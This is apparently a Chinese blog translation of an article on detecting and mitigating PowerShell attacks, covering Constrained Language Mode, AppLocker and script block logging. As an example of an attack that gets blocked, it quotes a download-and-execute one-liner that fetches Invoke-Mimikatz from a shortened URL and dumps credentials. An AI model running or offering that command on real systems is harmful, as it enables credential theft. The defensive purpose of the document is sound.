检测和缓解PowerShell攻击的方法

声明:本文档由12306Bro个人业余时间翻译,个人行为与公司无任何关系!译文来源INSIDER THREAT SECURITY BLOG博客站相关文档。如您对翻译文档内容有异议,请将原文文档做为主要参考,原文版权由博客站及其相关成员持有并保留。翻译文章禁止用于任何商业用途,仅供交流与学习。


PowerShell已经发展成为针对windows系统攻击的主要方式之一,是攻击者使用本机工具攻击的一种方式。对此,我们研究了Empire,DeathStar和CrackMapExec以及这些工具是如何利用PowerShell调用Mimikatz并发起其他攻击的。在本文中,我们讲探讨如何检测和防御PowerShell攻击。

PowerShell有何优点?

近些年来,攻击者偏爱PS的原因有很多,比如:

  • 默认情况下windows系统均有安装;
  • 它可以从内存执行命令,无需将任何内容写入磁盘,这使得检测起来极其困难;
  • 它可以启动与其他系统的远程连接;
  • GitHub和其他地方(例如Invoke-Mimikatz)上有很多脚本可供攻击者使用;
  • 管理员也需要使用它,因此几乎完全不会禁用它;
  • 很难从恶意PowerShell中分辨出正常的PowerShell;

拥有所有这些好处,作为防御者,我们需要更加重视PowerShell并学习如何保护它。让我们看一些方法。

约束语言模式

Windows PowerShell支持各种语言模式。这些语言模式确定可以使用和不能使用PowerShell的哪些部分以及它们如何与Windows交互。针对Surface RT上的Windows RT操作系统开发了约束语言模式。最终,它被添加到Windows PowerShell V5中,并且可以在现代Windows操作系统上使用。

虽然有多种启用约束语言的方法,例如以允许模式启用AppLocker,但最简单的方法是设置环境变量__ PSLockdownPolicy,这可以通过简单的脚本来完成。

PS C:\WINDOWS\system32> [Environment]::SetEnvironmentVariable('__PSLockdownPolicy','4', 'Machine')
PS C:\WINDOWS\system32>

运行脚本后,你可以尝试启动一个新的PowerShell窗口并执行相关命令:

$ExecutionContext.SessionState.LanguageMode

你可以看到你现在处于“约束语言”模式

PS C:\Users\Xinli> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Users\Xinli>

启用约束语言模式后,运行诸如Invoke-Mimikatz之类的恶意脚本将不再起作用:

PS C:\Users\Xinli\Desktop\drunkenkatz> Import-Module .\Invoke-Mimikatz.orig.ps1
Import-Module : 在 ConstrainedLanguage 模式下不允许将 *.ps1 文件作为模块导入。
所在位置 行:1 字符: 1

Import-Module .\Invoke-Mimikatz.orig.ps1

CategoryInfo          : PermissionDenied: (:) [Import-Module], InvalidOperationException

FullyQualifiedErrorId : Modules_ImportPSFileNotAllowedInConstrainedLanguage,Microsoft.PowerShell.Commands.Import
ModuleCommand

即使使用再狡猾的技术,例如此处描述的从URL下载Invoke- Mimikatz的技术,也将被阻止:

PS C:\Users\Xinli\Desktop\drunkenkatz> powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
New-Object : 无法创建类型。此语言模式仅支持核心类型。
所在位置 行:1 字符: 6

IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); ...

CategoryInfo          : PermissionDenied: (:) [New-Object], PSNotSupportedException

FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand

Invoke-Mimikatz : 无法将“Invoke-Mimikatz”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括
路径,请确保路径正确,然后再试一次。
所在位置 行:1 字符: 71

... lient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCr ...

CategoryInfo          : ObjectNotFound: (Invoke-Mimikatz:String) [], CommandNotFoundException

FullyQualifiedErrorId : CommandNotFoundException

使用AppLocker禁用PowerShell和脚本

AppLocker随Windows 10 Enterprise一起提供,并提供了一种将应用程序和脚本列入白名单的有用方法。可以在系统上本地配置,也可以通过组策略配置。

创建AppLocker策略时,可以将它们应用于文件,可执行文件,脚本和打包的应用程序。有关每个方面的详细信息,请参阅TechNet上的有用信息

出于安全的目的,你可以使用脚本规则策略,使用简单的PowerShell脚本为指定文件夹创建允许规则。这将确保只能执行此文件夹中的文件。

您还可以使用可执行规则来限制可以通过文件路径或签名执行的文件。如果为PowerShell和PowerShell_ISE创建签名规则,则可以限制非管理员以这种方式运行PowerShell。应当指出,这很容易被攻击者绕开,因为正如我们在PowerShell Empire工具中看到的那样,可以在没有PowerShell.exe的情况下运行PowerShell。 PowerShell的团队提供了一个关于PowerShell的蓝队手册,请参与这里

使用脚本块日志记录检测恶意PowerShell

PowerShell V5引入了几种跟踪恶意PowerShell的新方法。在这篇文章中重点介绍的是脚本块记录。默认情况下,PowerShell V5会启用此级别的日志记录,并提供由PowerShell执行的完整脚本的明文日志记录。这很有用,因为许多攻击将利用难以破解的编码脚本。

此处因能力有限,未做复现,大致讲一下思路。即利用Out-EncodedCommand进行Base-64编码并为PowerShell有效负载脚本生成命令行输出。但是,PowerShell事件日志仍然可以准确地看到我们运行的内容,而无需进行任何编码。

参考链接

原文检测和缓解PowerShell攻击的方法:https://blog.stealthbits.com/ways-to-detect-and-mitigate-powershell-attacks

一句powershell调用mimikatz抓密码:https://www.waitalone.cn/powershell-mimikatz.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值